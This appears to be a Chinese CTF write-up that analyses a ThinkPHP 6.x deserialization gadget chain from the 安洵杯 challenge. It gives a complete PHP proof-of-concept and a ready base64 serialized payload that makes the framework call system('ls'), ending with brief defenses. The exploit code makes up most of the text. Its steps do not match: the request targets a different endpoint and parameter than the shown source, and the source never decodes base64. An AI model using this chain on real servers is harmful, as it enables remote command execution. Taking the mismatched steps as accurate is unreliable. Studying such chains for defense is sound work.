从安洵杯学习thinkphp 6.x反序列化POP链
字数 922 2025-08-18 11:39:08
ThinkPHP 6.x 反序列化POP链分析与利用
前言
本文基于安洵杯CTF题目"iamthinking"中涉及的ThinkPHP 6.x反序列化漏洞进行分析,详细讲解其POP链构造原理和利用方法。
漏洞环境
题目关键源码如下:
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
echo "";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}
unserialize($paylaod);
}
}
}
漏洞分析
反序列化入口
代码中存在unserialize($paylaod)调用,且通过正则过滤了以"O"开头的字符串(防止直接反序列化对象),需要绕过此限制。
POP链概述
完整的POP链调用流程如下:
think\Model --> __destruct()
think\Model --> save()
think\Model --> updateData()
think\Model --> checkAllowFields()
think\Model --> db()
think\model\concern\Conversion --> __toString()
think\model\concern\Conversion --> toJson()
think\model\concern\Conversion --> toArray()
think\model\concern\Attribute --> getAttr()
think\model\concern\Attribute --> getValue()
详细利用链分析
前半部分利用链
-
__destruct()触发
public function __destruct() { if ($this->lazySave) { $this->save(); } }需要设置
$this->lazySave = true -
save()方法
public function save(array $data = [], string $sequence = null): bool { $this->setAttrs($data); if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; } $result = $this->exists ? $this->updateData() : $this->insertData($sequence); // ... }需要满足:
$this->isEmpty() == false→$this->data不为空$this->trigger() == true→$this->withEvent = false$this->exists = true
-
updateData()方法
protected function updateData(): bool { if (false === $this->trigger('BeforeUpdate')) { return false; } $this->checkData(); $data = $this->getChangedData(); if (empty($data)) { return true; } $allowFields = $this->checkAllowFields(); }需要
$data不为空 →$this->force = true -
checkAllowFields()方法
protected function checkAllowFields(): array { if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); // ... } } }需要
$this->field和$this->schema为空 -
db()方法
public function db($scope = []): Query { $query = self::$db->connect($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk); }需要
$this->connection = 'mysql',并触发字符串拼接操作$this->name . $this->suffix
后半部分利用链
-
__toString()触发
public function __toString() { return $this->toJson(); } -
toJson()方法
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string { return json_encode($this->toArray(), $options); } -
toArray()方法
public function toArray(): array { $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { // ... $item[$key] = $this->getAttr($key); } return $item; } -
getAttr()方法
public function getAttr(string $name) { try { $value = $this->getData($name); } catch (InvalidArgumentException $e) { // ... } return $this->getValue($name, $value, $relation); } -
getValue()方法 - 最终触发点
protected function getValue(string $name, $value, $relation = false) { if (isset($this->withAttr[$fieldName])) { $closure = $this->withAttr[$fieldName]; // ["axin"=>"system"] $value = $closure($value, $this->data); // system("ls", ["axin"=>"ls"]) } // ... }
完整PoC构造
<?php
namespace think\model\concern;
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["axin" => "system"];
public function get()
{
$this->data = ["axin" => "ls"]; // 要执行的命令
}
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave = false;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='mysql';
protected $name;
protected $suffix = '';
function __construct(){
$this->get();
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->connection = 'mysql';
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
function __construct($obj='')
{
parent::__construct();
$this->name = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(base64_encode(serialize($b)));
利用方法
-
生成Payload:
$a = new Pivot(); $b = new Pivot($a); echo urlencode(base64_encode(serialize($b))); -
发送请求:
/index.php/index/unser?p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaXgiO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D
防御措施
- 避免反序列化用户可控数据
- 使用白名单限制反序列化的类
- 更新到最新版本的ThinkPHP
- 对反序列化操作进行严格的输入过滤
参考链接
- https://xz.aliyun.com/t/6619
- https://xz.aliyun.com/t/6479
- https://www.anquanke.com/post/id/187393
- https://www.anquanke.com/post/id/187332